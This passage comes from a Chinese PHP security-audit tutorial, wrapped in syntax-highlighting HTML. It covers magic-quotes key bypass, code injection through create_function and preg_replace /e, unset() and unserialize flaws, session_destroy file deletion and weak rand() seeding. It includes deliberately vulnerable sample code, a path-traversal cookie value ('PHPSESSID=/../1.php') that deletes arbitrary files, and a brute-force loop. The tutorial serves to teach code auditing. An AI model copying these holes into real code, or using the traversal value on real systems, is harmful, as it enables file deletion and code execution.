Gray;"><br /></span><span style="color: #ffa500;">//key.php?aaaa&quot;aaa[bb&quot;]=1 </span><span style="color: Gray;"><br /></span><span style="color: Blue;">print_R</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;结果显示:<br />&nbsp;<br />Array ( [aaaa&quot;aaa] =&gt; Array ( [bb\&quot;] =&gt; 1 ) )&nbsp; &nbsp;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;数组第一维变量的key不受魔术引号的影响。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：php4和php&lt;5.2.1<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />2) 当magic_quotes_gpc = Off时，在php5.24下测试显示：<br />&nbsp;<br />aaaa&quot;aaa<br />bb&quot;b<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;对于magic_quotes_gpc = Off时所有的变量都是不安全的，考虑到这个，很多程序都通过<br />addslashes等函数来实现魔术引号对变量的过滤，示例代码如下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"> <br /></span><span style="color: #ffa500;">//keyvul.php?aaa&quot;aa=1&quot;</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//magic_quotes_gpc = Off</span><span style="color: Gray;"><br />&nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Blue;">get_magic_quotes_gpc</span><span style="color: Olive;">())</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;">&nbsp; = </span><span style="color: Blue;">addslashes_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">addslashes_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">is_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"> ? </span><span style="color: Blue;">array_map</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">addslashes_array</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"> : </span><span style="color: Blue;">addslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">print_R</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">foreach</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Gray;"> </span><span style="color: Green;">AS</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Gray;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;以上的代码看上去很完美，但是他这个代码里addslashes($value)只处理了变量的具体<br />的值，但是没有处理变量本身的key，上面的代码显示结果如下：<br />&nbsp; <br />Array<br />(<br />&nbsp;&nbsp; &nbsp;[aaa&quot;aa] =&gt; 1\&quot;<br />)<br />aaa&quot;aa<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无 <br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.4 代码注射<br />&nbsp;<br />5.4.1 PHP中可能导致代码注射的函数<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多人都知道eval、preg_replace+/e可以执行代码，但是不知道php还有很多的函数可<br />以执行代码如：<br />&nbsp;<br />assert()<br />call_user_func()<br />call_user_func_array()<br />create_function()<br />变量函数<br />...<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//how to exp this code</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$sort_by</span><span style="color: Gray;">=</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">sort_by</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$sorter</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">strnatcasecmp</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$databases</span><span style="color: Gray;">=</span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">test</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">test</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$sort_function</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">&nbsp; return 1 * </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> . </span><span style="color: #00008b;">$sorter</span><span style="color: Gray;"> . </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">(</span><span style="color: #00008b;">$a</span><span style="color: Red;">[</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Red;"> . </span><span style="color: #00008b;">$sort_by</span><span style="color: Red;"> . </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Red;">], </span><span style="color: #00008b;">$b</span><span style="color: Red;">[</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Red;"> . </span><span style="color: #00008b;">$sort_by</span><span style="color: Red;"> . </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Red;">]);<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">usort</span><span style="color: Olive;">(</span><span style="color: #00008b;">$databases</span><span style="color: Gray;">, </span><span style="color: Blue;">create_function</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$a</span><span style="color: Red;">, </span><span style="color: #00008b;">$b</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #00008b;">$sort_function</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：无<br />系统要求：无<br />审计策略：查找对应函数（</span><span style="color: Blue;">assert</span><span style="color: Gray;">,</span><span style="color: Blue;">call_user_func</span><span style="color: Gray;">,</span><span style="color: Blue;">call_user_func_array</span><span style="color: Gray;">,</span><span style="color: Blue;">create_function</span><span style="color: Gray;">）<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.4.2</span><span style="color: Gray;"> 变量函数与双引号<br />&nbsp;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;对于单引号和双引号的区别，很多程序员深有体会，示例代码：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$a</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$a</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;我们再看如下代码：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br /></span><span style="color: #ffa500;">//how to exp this code</span><span style="color: Gray;"><br /></span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$globals</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">bbc_email</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]){</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #00008b;">$text</span><span style="color: Gray;"> = </span><span style="color: Blue;">preg_replace</span><span style="color: Olive;">(</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/\[email=(.*?)\](.*?)\[\/email\]/ies</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/\[email\](.*?)\[\/email\]/ies</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">check_email(</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">$</span><span style="color: Maroon;">1</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">$</span><span style="color: Maroon;">2</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">)</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">check_email(</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">$</span><span style="color: Maroon;">1</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">$</span><span style="color: Maroon;">1</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">)</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">, </span><span style="color: #00008b;">$text</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;另外很多的应用程序都把变量用</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">存放在缓存文件或者</span><span style="color: Blue;">config</span><span style="color: Gray;">者</span><span style="color: Blue;">data</span><span style="color: Gray;">件里，这样很<br />容易被人注射变量函数。<br />&nbsp;&nbsp; <br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.5</span><span style="color: Gray;"> </span><span style="color: Blue;">PHP</span><span style="color: Gray;">身函数漏洞及缺陷<br />&nbsp;&nbsp; &nbsp; <br /></span><span style="color: Maroon;">5.5.1</span><span style="color: Gray;"> </span><span style="color: Blue;">PHP</span><span style="color: Gray;">数的溢出漏洞<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;大家还记得</span><span style="color: Blue;">Stefan</span><span style="color: Gray;"> </span><span style="color: Blue;">Esser</span><span style="color: Gray;">牛的</span><span style="color: Blue;">Month</span><span style="color: Gray;"> </span><span style="color: Blue;">of</span><span style="color: Gray;"> </span><span style="color: Blue;">PHP</span><span style="color: Gray;"> </span><span style="color: Blue;">Bugs</span><span style="color: Gray;"></span><span style="color: Blue;">MOPB</span><span style="color: Gray;">附录</span><span style="color: Olive;">[</span><span style="color: Maroon;">2</span><span style="color: Olive;">]</span><span style="color: Gray;">）项目么，其中比较<br />有名的要算是</span><span style="color: Blue;">unserialize</span><span style="color: Olive;">()</span><span style="color: Gray;">，代码如下：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br /></span><span style="color: Blue;">unserialize</span><span style="color: Olive;">(</span><span style="color: Blue;">stripslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$HTTP_COOKIE_VARS</span><span style="color: Olive;">[</span><span style="color: #00008b;">$cookiename</span><span style="color: Gray;"> . </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">_data</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">])</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;在以往的</span><span style="color: Blue;">PHP</span><span style="color: Gray;">本里，很多函数都曾经出现过溢出漏洞，所以我们在审计应用程序漏洞的<br />时候不要忘记了测试目标使用的</span><span style="color: Blue;">PHP</span><span style="color: Gray;">本信息。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：对应</span><span style="color: Blue;">fix</span><span style="color: Gray;">版本<br />系统要求：<br />审计策略：查找对应函数名<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.5.2</span><span style="color: Gray;"> </span><span style="color: Blue;">PHP</span><span style="color: Gray;">数的其他漏洞<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">Stefan</span><span style="color: Gray;"> </span><span style="color: Blue;">Esser</span><span style="color: Gray;">牛发现的漏洞：</span><span style="color: Green;">unset</span><span style="color: Olive;">()</span><span style="color: Gray;">--</span><span style="color: Blue;">Zend_Hash_Del_Key_Or_Index</span><span style="color: Gray;"> </span><span style="color: Blue;">Vulnerability</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;比如</span><span style="color: Blue;">phpwind</span><span style="color: Gray;">期的</span><span style="color: Blue;">serarch</span><span style="color: Gray;">.</span><span style="color: Blue;">php</span><span style="color: Gray;">的代码：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br /></span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$uids</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />......<br /></span><span style="color: #00008b;">$query</span><span style="color: Gray;">=</span><span style="color: #00008b;">$db</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">query</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">SELECT uid FROM pw_members WHERE username LIKE </span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$pwuser</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">while</span><span style="color: Olive;">(</span><span style="color: #00008b;">$member</span><span style="color: Gray;">=</span><span style="color: #00008b;">$db</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">fetch_array</span><span style="color: Olive;">(</span><span style="color: #00008b;">$query</span><span style="color: Olive;">)){</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$uids</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$member</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">uid</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$uids</span><span style="color: Gray;"> ? </span><span style="color: #00008b;">$uids</span><span style="color: Gray;">=</span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$uids</span><span style="color: Gray;">,</span><span style="color: Maroon;">0</span><span style="color: Gray;">,-</span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> : </span><span style="color: #00008b;">$sqlwhere</span><span style="color: Gray;">.=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;"> AND 0 </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />........<br /></span><span style="color: #00008b;">$query</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$db</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">query</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">SELECT DISTINCT t.tid FROM </span><span style="color: #00008b;">$sqltable</span><span style="color: Red;"> WHERE </span><span style="color: #00008b;">$sqlwhere</span><span style="color: Red;"> </span><span style="color: #00008b;">$orderby</span><span style="color: Red;"> </span><span style="color: #00008b;">$limit</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：</span><span style="color: Blue;">php4</span><span style="color: Gray;">&lt;</span><span style="color: Maroon;">4.3</span><span style="color: Gray;"> </span><span style="color: Blue;">php5</span><span style="color: Gray;">&lt;</span><span style="color: Maroon;">5.14</span><span style="color: Gray;"><br />系统要求：无<br />审计策略：查找</span><span style="color: Green;">unset</span><span style="color: Gray;"><br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.5.3</span><span style="color: Gray;"> </span><span style="color: Blue;">session_destroy</span><span style="color: Olive;">()</span><span style="color: Gray;">删除文件漏洞（测试</span><span style="color: Blue;">PHP</span><span style="color: Gray;">本：</span><span style="color: Maroon;">5.1.2</span><span style="color: Gray;">）<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;这个漏洞是几年前朋友</span><span style="color: Blue;">saiy</span><span style="color: Gray;">现的，</span><span style="color: Blue;">session_destroy</span><span style="color: Olive;">()</span><span style="color: Gray;">函数的功能是删除</span><span style="color: Blue;">session</span><span style="color: Gray;">件，<br />很多</span><span style="color: Blue;">web</span><span style="color: Gray;">用程序的</span><span style="color: Blue;">logout</span><span style="color: Gray;">功能都直接调用这个函数删除</span><span style="color: Blue;">session</span><span style="color: Gray;">但是这个函数在一些老<br />的版本中缺少过滤导致可以删除任意文件。测试代码如下：<br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br />&lt;?</span><span style="color: Blue;">php</span><span style="color: Gray;"> <br /></span><span style="color: #ffa500;">//val.php&nbsp; &nbsp;</span><span style="color: Gray;"><br /></span><span style="color: Blue;">session_save_path</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">./</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">session_start</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">del</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">])</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">session_unset</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">session_destroy</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Green;">else</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$_SESSION</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">hei</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]</span><span style="color: Gray;">=</span><span style="color: Maroon;">1</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">echo</span><span style="color: Olive;">(</span><span style="color: Blue;">session_id</span><span style="color: Olive;">())</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">print_r</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_SESSION</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />?&gt;<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当我们提交构造</span><span style="color: Blue;">cookie</span><span style="color: Gray;">:</span><span style="color: Blue;">PHPSESSID</span><span style="color: Gray;">=/../</span><span style="color: Maroon;">1</span><span style="color: Gray;">.</span><span style="color: Blue;">php</span><span style="color: Gray;">相当于</span><span style="color: Blue;">unlink</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">sess_/../1.php</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">这样<br />就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如</span><span style="color: Blue;">phpmyadmin</span><span style="color: Gray;"><br /></span><span style="color: Blue;">sablog</span><span style="color: Gray;"></span><span style="color: Blue;">phpwind3</span><span style="color: Gray;">等。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br /></span><span style="color: Blue;">PHP</span><span style="color: Gray;">本要求：具体不详<br />系统要求：无<br />审计策略：查找</span><span style="color: Blue;">session_destroy</span><span style="color: Gray;"><br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br /></span><span style="color: Maroon;">5.5.4</span><span style="color: Gray;"> 随机函数<br />&nbsp;&nbsp; &nbsp;<br /></span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Blue;">rand</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Blue;">VS</span><span style="color: Gray;"> </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;"><br />&nbsp;<br />--</span><span style="color: Blue;">code</span><span style="color: Gray;">-------------------------------------------------------------------------<br />&lt;?</span><span style="color: Blue;">php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//on windows</span><span style="color: Gray;"><br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: Blue;">mt_getrandmax</span><span style="color: Olive;">()</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//2147483647</span><span style="color: Gray;"><br /></span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: Blue;">getrandmax</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span><span style="color: #ffa500;">// 32767</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;可以看出rand()最大的随机数是32767，这个很容易被我们暴力破解。 <br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$a</span><span style="color: Gray;">= </span><span style="color: Blue;">md5</span><span style="color: Olive;">(</span><span style="color: Blue;">rand</span><span style="color: Olive;">())</span><span style="color: Gray;">;<br /></span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;=</span><span style="color: Maroon;">32767</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">){</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">md5</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Olive;">)</span><span style="color: Gray;"> ==</span><span style="color: #00008b;">$a</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; </span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$i</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">--&gt;ok!!&lt;br&gt;</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span><span style="color: Green;">exit</span><span style="color: Gray;">;<br />&nbsp;&nbsp; </span><span style="color: Olive;">}</span><span style="color: Green;">else</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"> </span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$i</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">&lt;br&gt;</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;当我们的程序使用rand处理session时，攻击者很容易暴力破解出你的session，但是对于<br />mt_rand是很难单纯的暴力的。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：查找rand<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />2) mt_srand()/srand()-weak seeding（by Stefan Esser）<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;看php手册里的描述：<br />&nbsp;<br />-------------------------------------------------------------------------------<br />mt_srand<br />(PHP 3 &gt;= 3.0.6, PHP 4, PHP 5)<br />&nbsp;<br />mt_srand -- 播下一个更好的随机数发生器种子<br />说明<br />void mt_srand ( int seed )<br />&nbsp;<br />&nbsp;<br />用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始，seed 参数变为可选项，当该项为空<br />时，会被设为随时数。 <br />&nbsp;<br />例子 1. mt_srand() 范例<br />&nbsp;<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">// seed with microseconds</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">make_seed</span><span style="color: Olive;">()</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">list</span><span style="color: Olive;">(</span><span style="color: #00008b;">$usec</span><span style="color: Gray;">, </span><span style="color: #00008b;">$sec</span><span style="color: Olive;">)</span><span style="color: Gray;"> = </span><span style="color: Blue;">explode</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: Blue;">microtime</span><span style="color: Olive;">())</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Blue;">float</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: #00008b;">$sec</span><span style="color: Gray;"> + </span><span style="color: Olive;">((</span><span style="color: Blue;">float</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: #00008b;">$usec</span><span style="color: Gray;"> * </span><span style="color: Maroon;">100000</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: Blue;">make_seed</span><span style="color: Olive;">())</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$randval</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;">&nbsp; <br />&nbsp;<br />注: 自 PHP 